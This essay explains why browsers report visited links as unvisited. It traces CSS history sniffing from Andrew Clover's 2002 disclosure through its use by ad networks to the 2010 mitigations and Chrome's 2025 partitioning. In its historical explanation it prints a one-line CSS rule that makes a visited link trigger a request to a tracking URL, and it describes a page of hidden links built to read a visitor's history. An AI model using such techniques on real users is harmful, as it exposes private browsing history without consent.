The colour purple

There are two links under this, click the first. A tab will open, a page will say hello, close it, come back here.

the link you clicked
…
the link you didn't
…
What getComputedStyle returns for each link: the same blue for both, even though the one you clicked is purple on your screen.

If you clicked it, the link is purple now. You’ve been there, your browser remembers, so it’s purple. Normal enough.

The card under it is a bit of JavaScript asking your browser a simple question through a function called getComputedStyle: what colour is that link? And the browser, which is painting the link purple right now, right there on your screen, says blue. (This demo styles its links, so the blue you get back is the demo’s blue rather than the browser default.)

It’s lying, and it’s not a bug. Every browser you can name does this on purpose, and has for fifteen years, because there’s a document that tells them to. It gets away with it because a page’s JavaScript can’t read the pixels on your screen. It can only ask the browser about the page: what colour this is, how big that is, where it sits. So somewhere inside Chrome and Firefox and Safari is code whose entire job is to paint one thing and report another, and it does that job every time you load a page with a link on it.

Let’s start with the thing you already know.

A link is blue, you click it, and later it’s purple. You’ve known this for so long that it isn’t even knowledge anymore; it’s just how the world is. But somebody decided it, on a specific day, and we know which day.

Before that day, links had no colour at all. The very first browser, the one Tim Berners-Lee wrote on a NeXT computer in 1990, was black and white, and links were just underlined. We know this because a designer at Mozilla, Elise Blanchard, went digging through old screenshots in 2021 to answer exactly this question.1 Then in April 1993 a browser called Mosaic shipped version 0.13. Mosaic was the first browser that made the web feel like something you could look at rather than read (it more or less caused the nineties), and buried in its changelog is this sentence:

Changed default anchor representations: blue and single solid underline for unvisited, dark purple and single dashed underline for visited.

That’s the whole birth certificate of the blue link and the purple link: one line, with no reasoning and no design document. People have since gone looking for the reasoning. The popular theory is that blue was chosen for contrast, which is a nice theory until you measure it: black text next to that blue has a contrast ratio of about 2.3 to 1, which is worse than most things you’d pick on purpose. Blanchard measured it, and her honest answer to “why blue” is that nobody knows.2 Somebody at NCSA, the lab that made Mosaic, liked blue, probably, and didn’t think it was worth a sentence.

Every browser since has kept it. If you write a link today with no styling at all, the HTML standard tells the browser exactly what to do: #0000EE before you click, #551A8B after. Thirty years of browsers, and the two hex codes are still in the spec, still the default, still the thing you get when you forget to style a link and your designer sighs.

Now think about what a browser has to know to paint a link purple. It has to know whether you’ve been to the page the link points at, and how could it possibly know that?

It knows because it keeps a list.

You know this list. It’s your history. Every page you’ve ever loaded, written down, keyed by the page’s address. And the browser doesn’t only use that list when you press Ctrl+H and scroll through your week in shame. It uses it constantly, quietly, every time it draws a page. When it’s laying out a page and it reaches a link, it takes the link’s address and looks it up in the list. Is this address in here? Yes: paint it purple. No: paint it blue. Next link.

Let’s call it the List. We’ll be coming back to it a lot.

Every link on the page goes through the same lookup:

a page

the List
news.example/today
bank.example/login
docs.example/css
shop.example/cart
…
The browser reaches a link, takes its address, and asks its history one question: is this address in here? The answer comes back as a style, and that one arrow is the whole mechanism.

Two things about that drawing matter.

First: the lookup happens once per link, by exact address. Ten links, ten lookups. Ten thousand links, ten thousand lookups. The browser doesn’t mind. Looking things up in a list is what computers are for.

Second: the answer comes back as a style. Purple isn’t a special secret colour that the browser applies in some hidden way. It’s a CSS rule, a:visited, and it works like every other CSS rule you’ve ever written. You can change it. You can make visited links green, or bold, or forty pixels tall, or whatever you want. It’s just CSS.

And CSS is something a page’s own JavaScript can read.

Now go back to April 1993 for a second, and picture the world that purple links were born into. The web is a few hundred sites. A visited link is a courtesy, a little “you’ve been here already” so you don’t waste your time. Nobody is thinking about whether a page could learn where you’ve been, because a page can’t do anything. It can’t run code. JavaScript doesn’t exist yet and won’t for two more years. A web page in 1993 is a document, in the way a piece of paper is a document, and a piece of paper cannot look at you.

So the purple link was designed in a world with no scripts in it, and it carried a small piece of your history into a world that was about to be full of them. The first person to write down what that meant did it in 2002.

The question nobody asked for nine years

On the 20th of February 2002, a developer named Andrew Clover posted a message to Bugtraq, which was the mailing list where security people went to tell each other bad news. The subject line was “CSS visited pages disclosure”. It’s short and polite, and it’s probably the most consequential email ever sent about a colour.

Let’s build what he found, from the two things you’re holding.

You’re a web page. You want to know whether the person reading you has been to, say, their bank. You can’t ask. You can’t read their history; the browser would never give you the List. But you don’t need the List. You need one entry from it, and you already have a machine that checks one entry at a time and reports the answer as a colour.

So you write a link to the bank. You don’t even have to show it. You style it so that a visited link looks different from an unvisited one, which you’re allowed to do, because it’s just CSS. And then you ask your own JavaScript what colour your own link ended up. Blue: they’ve never been. Purple: they have.

That’s one question answered. Now write ten thousand links.

A bank. Another bank. A clinic. A different clinic. A union. A competitor. A dating site. A site for people who think they might be pregnant. Every newspaper. Every political party. The browser walks down the page doing exactly what it was built to do in 1993, looking up each address in the List and painting the answer, and your script walks behind it writing the answers down. Ten thousand yes-or-no questions about a stranger’s life, answered by the stranger’s own browser, in about the time it takes the page to load, and the stranger sees nothing, because you made the links one pixel tall and tucked them out of the way. The script doesn’t need to see them; it only asks what colour they are.

You might be scratching your head at this point, and you’d be right to. With a little bit of JavaScript, any page you open can find out a lot about you without you ever knowing, and it’s easy to see why Clover was as worried as he was.

Let’s call a page like that the Sniffer (the attack ended up being known as “history sniffing”).

This is roughly what the Sniffer looks like:

the Sniffer's page
10,000 links you can't see
what it learned
bankyes
clinicyes
unionno
rivalno
datingno
partyno
pharmacyno
lawyerno
…
Ten thousand links, one pixel tall, tucked out of sight. The browser answers each one in colour, and the script asks for every colour.

Clover described two ways for the Sniffer to read the answer.

The first is the one I just described: ask for the computed style. In Internet Explorer at the time, every element had a currentStyle object you could read; every browser since has getComputedStyle, which does the same job. Script reads colour, colour is the answer.

The second way doesn’t need a script at all. CSS can set a background image on a link, and a background image is a URL, and the browser fetches that URL when it needs the image. So:

#bank:visited { background: url(/seen.cgi?site=bank); }

If the reader has been to the bank, the browser applies the visited style, needs the background image, and requests /seen.cgi?site=bank from your server, which writes down “bank: yes.” If they haven’t, the style never applies and no request is made. No JavaScript. No script to block. The browser itself phones home, once per visited site, as a side effect of deciding what colour to paint a link. That’s the whole attack in one line of CSS.

He noted that Internet Explorer and Mozilla, which between them were nearly everyone in 2002, were both open to it.

And then, in the same email, he proposed a fix. He suggested that a browser could “make ‘visited’ links only look ‘visited’ when they point to documents in the same domain as the current page.” Your bank’s own pages could show you where you’d been on your bank. A stranger’s page could not. He wasn’t sure it was right. He ended the message with a question: “Can anyone think of a better approach?”

It took the browsers twenty-three years to answer him, and the answer, when it came, was close to his.

You might think, at this point, that a post to a security mailing list in 2002 would have been enough. Someone finds a hole, someone files a bug, the hole gets closed. That is what happened, in the sense that a bug was filed. A Mozilla engineer named David Baron opened one three months later, in May 2002, with the title “:visited support allows queries into global history.”

It stayed open for the best part of a decade.

People cared. The trouble was that every fix anybody could think of broke something else, and the something else was the purple link itself, which by then was a decade of habit for hundreds of millions of people. The fix they eventually found took the form of a lie, and it took them another nine years to find it. In the meantime, while the bug sat open, the Sniffer went into business.

It wasn’t theory

For eight years, the Sniffer was a thing security people knew about. A demo at a conference, a paragraph in a textbook, a bug that would get fixed one day. Everybody assumed nobody was actually doing it, in the way everybody assumes nobody is actually reading the terms and conditions.

Then in 2010 four researchers at UC San Diego decided to check.

Dongseok Jang, Ranjit Jhala, Sorin Lerner and Hovav Shacham built a modified browser that could watch what a page’s JavaScript did with the answers it got, and they pointed it at the fifty thousand most popular sites on the web. Not a sample. All fifty thousand, the whole Alexa list as of the first of February that year.

Four hundred and eighty-five of those sites inspected the style of links in a way that could be used to read history. Sixty-three of them were caught sending what they’d read back to a server. Forty-six were confirmed, beyond doubt, to be doing it on purpose. One of the forty-six was in the top hundred sites on the internet.

It was YouPorn, number 61 in the world, and it was the site’s own code, not an ad’s, with the list of sites it was checking stored scrambled and unscrambled just before use, which isn’t something you do by accident.

Of the forty-six confirmed sniffers, twenty-two were running the same code, and it came from an advertising company called interclick. Fourteen more were running code from another company, called meaningtool. So the Sniffer wasn’t a trick that a few clever site owners had built themselves. It was a product. Someone had written it once, nicely, and was selling it to publishers as a service, and the publishers were pasting it in next to their analytics tag.

Advertising companies had noticed that a browser will tell you where a person has been, if you ask it in colour, and they’d turned that into a way of measuring people: not counting visits, but building a picture of a specific stranger, question by question, from a list they chose.

In December 2012 the Federal Trade Commission announced a settlement with an advertising network called Epic Marketplace. Epic ran ads on 45,000 websites. According to the FTC’s complaint, its code checked visitors against a list of more than 54,000 domains, and the list was not random. The FTC named some of the categories. Fertility. Impotence. Menopause. Incontinence. Disability insurance. Credit repair. Debt relief. Personal bankruptcy.

Picture the person on the other end of that list. Someone opens a recipe site, or a news site, or a site about anything at all, and an ad on that page quietly asks their browser: has this person been looking at fertility clinics? Has this person been looking at bankruptcy lawyers? And the browser, which was built in 1993 to be helpful about which links you’d already read, answers. Yes. Yes. No. Yes. And the answers went into a profile, and the profile decided which ads that person saw next.

The settlement banned Epic from doing it again and made them destroy what they’d gathered. Nobody paid a fine. The order came with a threat of sixteen thousand dollars per violation if they did it again, which is the sort of number that sounds like a lot until you think about how many violations 45,000 websites can produce in an afternoon.

It would be easy to make this sound like a story about villains, and I don’t think that’s the useful version. Interclick and Epic weren’t doing something the browser had forbidden. They were doing something the browser had made possible, in the most ordinary way, with a feature that had been there since 1993 and a CSS rule any teenager could write. The thing they were caught doing was, technically, reading a colour. If you build a machine that answers ten thousand private questions in the time it takes to load a page, and you make it free, and you leave it running for a decade, someone will eventually plug it into a business.

So by then everyone agreed that the purple link had to stop talking.

The fix that lies

Think about it the way the browser engineers had to, because the obvious fixes are all wrong.

Obvious fix number one: stop painting visited links. No purple, no leak. Firefox offered this, as a preference you could flip if you wanted the protection, and the design that eventually fixed this mentions it almost in passing, the way you mention a fire exit. The purple link is, for a lot of people, the way they read the web. Search results, forums, documentation, a long list of anything: purple is how you know which ones you’ve done. Taking it away from everyone to close a hole most people had never heard of was never going to happen.

Obvious fix number two: keep the purple, but stop scripts from reading it. Make getComputedStyle refuse to answer for links. This sounds right and is wrong, because reading the colour was only one of the Sniffer’s two tricks. The other one, the background image, doesn’t read anything. It lets the browser do what the visited style says, and what the visited style says is “go and fetch this URL”. You can’t stop that by blocking a function. You’d have to stop visited links from being able to do anything, which is a different and much bigger idea.

And it’s the idea the real fix was built on.

In March 2010 David Baron, the Mozilla engineer who’d filed that bug back in 2002, published a design for closing it. Every rule in it is exactly as strange as it has to be.

Start from the goal. A visited link must still look different to a person, and must be indistinguishable from an unvisited link to a script. Those two requirements are in direct conflict, because a person and a script learn about the page from the same rendering, the person by looking at it and the script by asking the browser about it. So the trick is to cut the connection between what’s painted and what’s reported, and to do it narrowly enough that the purple still gets through.

Rule one: a visited link may only differ in colour. Only. Not size. Not position. Not whether it’s visible, not its font, not its spacing, not its border width. Only the colours: the text, the background, the border, the outline, and a few others in the same family. Why? Because anything that changes the geometry of the page can be measured without asking about colour at all. If visited links were one pixel wider, a script could measure the page’s width. If they were hidden, a script could count what’s visible. Colour is the one thing that changes nothing about the shape of anything, so colour is the one thing that’s allowed.

Rule two: a visited colour may not change its transparency. You can make a visited link purple, but you can’t make it half-transparent purple. Baron’s design doesn’t say why; it only says the transparency comes from the unvisited style and just the colour comes from the visited one.

Rule three: no rule for visited links may load anything. No background image, no anything that turns into a request. That’s the one that kills Clover’s one-liner.

Rule four: every way of asking is answered as if the link were unvisited. getComputedStyle says blue. matches(':visited') says no. querySelector('a:visited') finds nothing. The page paints the truth and reports the lie, and it reports the same lie to everyone, so that a script can’t tell a link that’s been visited from one that hasn’t. Baron’s design document says browsers “clearly need to make getComputedStyle lie when links have been visited.”

You can push on the rules yourself. Each button applies one style to :visited on the link you visited earlier, your eyes report what got painted, and the card reports what the script was told:

a style on :visited, and what the script is toldcolour
the script is told the colour is
…
and the size and opacity
…
matches(':visited')
…
Pick a rule. The link on the left is the one you clicked; the browser paints it by the rules, and the card reports what the script sees, which never changes.

Try the font size. Nothing. Try opacity, or display none, which should make the link vanish. Nothing; it sits exactly where it was. Try the border colour: that one works, because it’s a colour. Try a half-transparent colour: the link changes hue, but paints fully solid, because the transparency came from the unvisited style. And now try the yellow background, which is on the allowed list. Still nothing. Then try the last one, the same yellow on a version of the link that already has a solid grey background. Yellow.

The rule says background colour is allowed to change. But the rule also says transparency can’t change. The unvisited link has no background, which the browser stores as a background that’s fully transparent. So the visited yellow inherits that transparency, becomes fully transparent yellow, which is nothing, and you see nothing. Give the link a solid background first and the yellow shows up, because now there’s an opacity of “solid” for it to inherit. The browser isn’t refusing to paint yellow. It’s painting yellow with exactly the see-throughness of the thing it replaced, which here means fully see-through, so you get nothing.

Now the part I got wrong the first time I told this story.

I assumed Mozilla shipped this, because Mozilla designed it. They didn’t, not first. A month after Baron’s design went up, on the 8th of April 2010, Dave Hyatt at Apple landed it in WebKit, and his commit message credits Baron’s document by name. Safari 5 shipped it that June. Firefox got it in Firefox 4, in March 2011, nearly a year after Apple. Chrome, which was built on WebKit at the time, inherited it along the way. So the fix was designed in one company, shipped first by its competitor, and became universal within a year, which is a story about how browsers worked in 2010 that I find a little bit moving.

By the end of 2011, then, every browser was lying about purple, in the same way, on purpose. The bug David Baron opened in 2002 was closed. The Sniffer, at least the version Clover described, was dead.

The arms race

The lie closed the front door. The Sniffer, being a machine and not a person, did not take this personally. It went round the back.

If a visited link can’t be a different size, and can’t load anything, and can’t be asked about, what’s left? What’s left is that it’s still painted differently, and painting takes time, and time can be measured. Over the next decade, researchers kept finding ways to make the browser reveal a visited link by how long it took to draw one. In 2013 Paul Stone, a security consultant, showed at Black Hat that you could stack links, apply a filter that’s expensive to paint, and time the frame with requestAnimationFrame. In 2018, when browsers added a way for pages to run their own painting code, a group at UC San Diego (the same university, eight years on) found that Chrome would run it for the visited colour, and that this leaked history at three thousand URLs a second. Chrome’s fix for that one was to switch the new painting feature off on links entirely. Each of these got patched. Each patch was narrower than the last, and each leak was smaller than the last, and nobody ever got to say “done”.

The people who write the CSS specification eventually said this out loud. The current draft of the selectors standard describes the 2010 approach, all the rules you just pushed on, in a single sentence that ends with “but is not perfect”, and an appendix says: “This is ultimately an arms race that can’t be won.” So the same document that tells browsers to lie about purple also says the lie can’t hold.

So what would work? Go back to the email from 2002. Clover’s suggestion, the one he wasn’t sure about, was to show a link as visited only when it points into the site you’re on. Your bank can show you where you’ve been on your bank. A stranger’s page can’t see any of it.

In April 2025, Chrome shipped its version of that idea. The Chrome team calls it partitioning. Instead of keeping one List of every address you’ve ever loaded, Chrome now keeps a List of where you clicked from. A visited link is stored as three things together: the address of the link, the site whose page you clicked it on, and the frame it was in (the page itself, or an iframe on it). The link is painted purple only if all three match. Click a link to your bank from your bank’s own page and it turns purple there, and only there. The same link on a stranger’s page has never been clicked on the stranger’s page, so on the stranger’s page it’s blue, and there’s nothing for a Sniffer to sniff, no matter how cleverly it measures. The Sniffer can only learn about clicks that happened on its own pages, which it already knew. That’s close to Clover’s rule but not the same: his was about where a link points, Chrome’s is about where you clicked it. A link to your bank that you clicked on a news site shows up purple on that news site, which Clover’s rule wouldn’t have allowed, but the news site only learns about a click it already saw.

You can see this on disk, if you’re on Chrome. The history database in your profile now has a table for it:

sqlite> .schema visited_links
CREATE TABLE visited_links(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  link_url_id INTEGER NOT NULL,
  top_level_url LONGVARCHAR NOT NULL,
  frame_url LONGVARCHAR NOT NULL,
  visit_count INTEGER DEFAULT 0 NOT NULL
)
sqlite> select * from visited_links;
1|2|http://127.0.0.1:6978/test.html|http://127.0.0.1:6978/|1

That’s a fresh Chrome profile on my machine after one click on a test page: the link that was clicked, the page it was clicked on, the frame it was in, one visit.

That row is Chrome’s answer to Clover’s “can anyone think of a better approach?”, twenty-three years later.

Two caveats. First, only Chrome does this so far. Firefox has said it wants to and has a bug open about it that dates from 2017; Safari hasn’t taken a position. Second, Chrome still lies. Partitioning made the lie unnecessary, since a Sniffer can’t learn anything from a colour that only ever reflects its own pages. But the 2010 rules are still in place, and getComputedStyle still says blue. I checked, on the newest Chrome I could find, and it still says blue. It’s been telling that lie for fifteen years, and nobody has felt safe enough to stop yet.

That’s changing too. In May 2025 a Chromium engineer proposed to the other browser makers that the lie should end, that getComputedStyle should be allowed to return the real colour now that partitioning makes it harmless, because keeping the lie going “causes significant complexity” for the people who maintain it. Mozilla replied in one line: “Removing visited weirdness is always nice.” Apple hasn’t answered. So the honest state of things, as I write this, is that the lie is still being told, in every browser, by code that everyone who works on it would like to delete, and one day soon you’ll open the console, ask a purple link what colour it is, and for the first time in fifteen years it will tell you.

Every browser you use is sitting in the middle of a fight. On one side is you, and the things you do, and the reasonable wish that those things stay yours. On the other side is everyone who’d like to know what you do, which turns out to include a lot of ordinary businesses that would never think of themselves as spies and mostly want to know whether to show you the ad for the pram or the ad for the lawyer. The browser sits between them and has to serve both, because a browser that shows you nothing is useless and a browser that tells everyone everything is a different kind of useless. The purple link is the smallest version of that fight, and it’s been going on for the whole life of the web.

So that’s why the card told you the link was blue. Your browser paints the truth for your eyes and tells your JavaScript something else, because for most of the web’s life, telling scripts the truth meant telling every page you opened where else you’d been. Partitioning has taken most of that reason away, and when the lie finally goes, the purple link will be what it was in April 1993: a colour, and nothing else.

Footnotes

  1. Her piece says 1987 in one place for that first browser. It was 1990. I mention it only because I’m about to spend several thousand words on people getting small things wrong, and it seemed fair. ↩

  2. Her exact words: “No one knows, but I have some theories.” The changelog line is quoted from the same piece; the Mosaic 0.13 release was 12 April 1993. ↩